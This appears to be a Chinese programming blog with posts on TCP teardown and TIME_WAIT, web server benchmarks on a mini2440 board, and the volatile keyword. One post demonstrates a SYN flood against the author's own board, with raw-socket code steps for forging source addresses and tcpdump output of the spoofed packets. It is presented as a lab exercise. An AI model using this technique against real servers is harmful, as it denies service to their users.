Category: 程序设计

原创文章,转载请注明出处:www.ganquan.org

我发现有个公司面试的时候问了对TCP协议比较细节的地方,那就写一下帮助自己加深理解和记忆。在开始说TIME_WAIT状态之前,要知道TCP协议是如何关闭连接的。
很多人对TCP协议的三次握手都很熟悉(不知道的可以参考我以前的帖子),因为学校的垃圾考试都爱考三次握手,但是很多知道三次握手的人都对TCP协议是如何关闭连接不了解。不说废话了,TCP关闭连接过程如下图,寡人用photoshop画的,凑合看一下:
tcpclose
为了方便描述,我给这个TCP连接的一端起名为Client,给另外一端起名为Server。上图描述的是Client主动关闭的过程,FTP协议中就这样的。如果要描述Server主动关闭的过程,只要交换描述过程中的Server和Client就可以了,HTTP协议就是这样的。

描述过程:
Client调用close()函数,给Server发送FIN,请求关闭连接;Server收到FIN之后给Client返回确认ACK,同时关闭读通道(不清楚就去看一下shutdown和close的差别),也就是说现在不能再从这个连接上读取东西,现在read返回0。此时Server的TCP状态转化为CLOSE_WAIT状态。
Client收到对自己的FIN确认后,关闭 写通道,不再向连接中写入任何数据。
接下来Server调用close()来关闭连接,给Client发送FIN,Client收到后给Server回复ACK确认,同时Client关闭读通道,进入TIME_WAIT状态。
Server接收到Client对自己的FIN的确认ACK,关闭写通道,TCP连接转化为CLOSED,也就是关闭连接。
Client在TIME_WAIT状态下要等待最大数据段生存期的两倍,然后才进入CLOSED状态,TCP协议关闭连接过程彻底结束。

以上就是TCP协议关闭连接的过程,现在说一下TIME_WAIT状态。
从上面可以看到,主动发起关闭连接的操作的一方将达到TIME_WAIT状态,而且这个状态要保持Maximum Segment Lifetime的两倍时间。为什么要这样做而不是直接进入CLOSED状态?

原因有二:
一、保证TCP协议的全双工连接能够可靠关闭
二、保证这次连接的重复数据段从网络中消失

先说第一点,如果Client直接CLOSED了,那么由于IP协议的不可靠性或者是其它网络原因,导致Server没有收到Client最后回复的ACK。那么Server就会在超时之后继续发送FIN,此时由于Client已经CLOSED了,就找不到与重发的FIN对应的连接,最后Server就会收到RST而不是ACK,Server就会以为是连接错误把问题报告给高层。这样的情况虽然不会造成数据丢失,但是却导致TCP协议不符合可靠连接的要求。所以,Client不是直接进入CLOSED,而是要保持TIME_WAIT,当再次收到FIN的时候,能够保证对方收到ACK,最后正确的关闭连接。

再说第二点,如果Client直接CLOSED,然后又再向Server发起一个新连接,我们不能保证这个新连接与刚关闭的连接的端口号是不同的。也就是说有可能新连接和老连接的端口号是相同的。一般来说不会发生什么问题,但是还是有特殊情况出现:假设新连接和已经关闭的老连接端口号是一样的,如果前一次连接的某些数据仍然滞留在网络中,这些延迟数据在建立新连接之后才到达Server,由于新连接和老连接的端口号是一样的,又因为TCP协议判断不同连接的依据是socket pair,于是,TCP协议就认为那个延迟的数据是属于新连接的,这样就和真正的新连接的数据包发生混淆了。所以TCP连接还要在TIME_WAIT状态等待2倍MSL,这样可以保证本次连接的所有数据都从网络中消失。

各种协议都是前人千锤百炼后得到的标准,规范。从细节中都能感受到精巧和严谨。每次深入都有同一个感觉,精妙。

redhat网站查到下面的信息,说是因为内存不够的原因。我觉得这个可以当作出现这个问题的解释,但是却解释得不够“完美”,我仍旧还在疑惑中:如果是是因为内存不够的原因,那么在每次测试之前,只要保证机器状态一样,那么TCP: time wait bucket table overflow这条信息的输出次数就应该是一样的,或者差的不是很多,因为每次有一个socket来了,就给一个数据结构,直到内存用完输出TCP: time wait bucket table overflow信息,但是我测试的结果是差异不小,这就让我感觉疑惑了,莫非每次分配的数据结构不一样大?这不可能。我每次单独测试都是重启开发板,然后不运行任何其他程序就进行测试的,这样应该可以保证每次测试机器的状态不是差的很多吧。

The “TCP: time wait bucket table overflow” message shows when the kernel is unable to allocate a data structure to put a socket in the TIME_WAIT state.

This is happening according to linux/net/ipv4/tcp_minisocks.c:

if (tcp_tw_count < sysctl_tcp_max_tw_buckets)
tw = kmem_cache_alloc(tcp_timewait_cachep, SLAB_ATOMIC);

if(tw != NULL) {
(..)
} else {
/* Sorry, if we’re out of memory, just CLOSE this
* socket up. We’ve got bigger problems than
* non-graceful socket closings.
*/
if (net_ratelimit())
printk(KERN_INFO “TCP: time wait bucket table overflow\\n”);
}

This problem is more likely to happen on systems creating a lot of TCP connections at a fast pace. RFC 793 decided that those sockets should stay in the TIME_WAIT state for 2*MSL (Maximum Segment Life), but the Linux implementation seems to make the TIME_WAIT state last for 1 minute.

Monitor the resources used by those time wait buckets by watching:

# cat /proc/slabinfo | grep tcp_tw_bucket

The size of the time wait bucket can be adjusted by writing to /proc/sys/net/ipv4/tcp_max_tw_buckets. However, the link between the client and the server cannot cause packets to arrive out of order, then the TIME_WAIT state can be skipped and sockets can be recycled immediately. Socket recycling can be configured in /proc/sys/net/ipv4/tcp_tw_recycle, but check with your network administrator to verify whether it’s safe to do so.

服务器性能

时间好快啊,一眨眼就晚上11点过了。赶紧写今天的日记。

今天写了一个超级超级简陋的web服务器,采用epoll多线程的方式:主线程负责accpet,子线程处理链接。问题出在测试环节:

在笔记本上用ab模拟50个并发连接,10000次请求,进行测试,一切OK。可是移植到mini2440开发板上去运行,测试参数不变,就出现这样的输出(截取一部分)
TCP: time wait bucket table overflow
TCP: time wait bucket table overflow
__ratelimit: 1745 callbacks suppressed
TCP: time wait bucket table overflow
TCP: time wait bucket table overflow

我第一反应是服务器连接队列太小,我立刻改大了再测试,还是有问题。我又找了一个别人写的单进程服务器移植到mini2440开发板上来测试,一样有这样的输出。但是这些服务器在笔记本上测试都没有这种问题,很明显是硬件处理能力跟不上的原因。

索性用开发板上自带的boa服务器来测试,靠,问题更加严重,出现好多好多这样的输出。

不解。回头一定要搞明白这个问题。

性能测试结果对比如下,都是在mini2440开发板上进行测试:

1.epoll+pthread服务器,处理10000次请求总共耗时22.341秒,平均每秒处理447.61个请求,测试结果性能最好
2.单进程服务器,处理10000次请求总共耗时28.922秒,平均每秒处理个345.75请求,测试结果性能最差
3.mini2440系统里面自带的boa服务器,处理10000次请求总共耗时26.739秒,平均每秒处理个373.98个请求,测试性能第二

从结果来看多线程方式比单进程的处理方式要好一点,估计boa性能略差的原因是因为boa比较完善,支持动态网页。而另外两个都只支持静态页面。不过这样分析也不对,因为测试时我没有让他们输出任何内容,仅仅是一个报文头而已。所以其实这三个服务器的测试基础是一样的。后面完善了服务器之后再测试一下。

一次DoS攻击

甲流了,封校了,在宿舍憋了一天。晚上学校孝敬我的饭菜没有拍照,只好明天再拍照纪念。
白天又蹉跎了,唉。。。

TCP协议的3次握手过程如下图所示(朕用photoshop随便画的,将就看一下):

tcp_shakehand

罗嗦一下:客户端发送SYN,服务器收到后发送对应的ACK 和自己的SYN,客户端收到对自己的SYN确认后,发送对服务器SYN的确认,客户端完成建立连接。服务器收到客户端对自己的SYN的确认,整个TCP连接建立完成。

如果要进行一次DoS攻击,则可以在3次握手的过程中进行破坏,破坏方法如下图:

DoS

利用原始socket修改源地址,使得服务器把ACK发送到一个不存在的地址,然后服务器就会傻逼一样等待这个不存在的地址的应答信息,那就一直等吧,等到地老天荒去。但是服务器还没有这个能耐等到地老天荒海枯石烂,服务器的未完成连接队列长度是有限的,所以当那些不存在的地址把这个队列霸占之后,合法的主机再来连接服务器就会被deny。

以上就是DoS攻击的原理。
下面开始攻击:

目标服务器:我的mini2440开发板,上面运行了一个http服务器,端口80,地址是192.168.0.222
在我的主机上访问这个地址是完全正常的,如下图:

2009-09-12-235327_432x236_scrot

然后开始攻击:

2009-09-12-235534_482x125_scrot

可以看到当前发送速率如下:

2009-09-12-235648_698x138_scrot

发送一段时候后,再次访问http://192.168.0.222,结果如下:

2009-09-13-000325_473x376_scrot

可以用tcpdump抓包看到,发送的数据包源地址都是随机伪造的:

21:49:04.958398 IP 165.73.220.37.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958402 IP 182.200.63.94.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.958406 IP 218.31.87.38.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966416 IP 132.23.33.98.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966424 IP 200.16.93.88.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966430 IP 171.242.43.18.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966436 IP 78.39.31.69.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966442 IP 34.132.193.5.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966448 IP 55.211.162.46.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966454 IP 89.112.75.6.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0
21:49:04.966460 IP 215.57.37.36.8888 > 192.168.0.222.www: S 1732610923:1732610923(0) win 0

代码过程如下:
1.生成原始socket
socket(AF_INET,SOCK_RAW,IPPROTO_TCP)
2.设置socket选项
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
设置了IP_HDRINCL选项,需要手动为IP数据包填写IP数据包首部内容。
3.填写两个结构体:struct ip 和 struct tcphdr
4.伪造源地址并且发送给服务器
ip->ip_src.s_addr = random();
sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));

一点了,睡觉去。

volatile关键字

用它声明的类型变量表示可以被某些编译器未知的因素更改,比如:操作系统、硬件或者其它线程等。遇到这个关键字声明的变量,编译器对访问该变量的代码就不再进行优化,从而可以提供对特殊地址的稳定访问。在嵌入式系统中,用来作为硬件动作的结果。

例如,通过一个串口接收到一个字符,结果串口状态寄存器更新,这完全在程序流程之外发生。最好就把该寄存器声明为volatile,编译器不会试图优化一个volatile寄存器,而是每次重载它。所以在嵌入式设备的程序中,将所有外设寄存器声明为volatile是一个好习惯。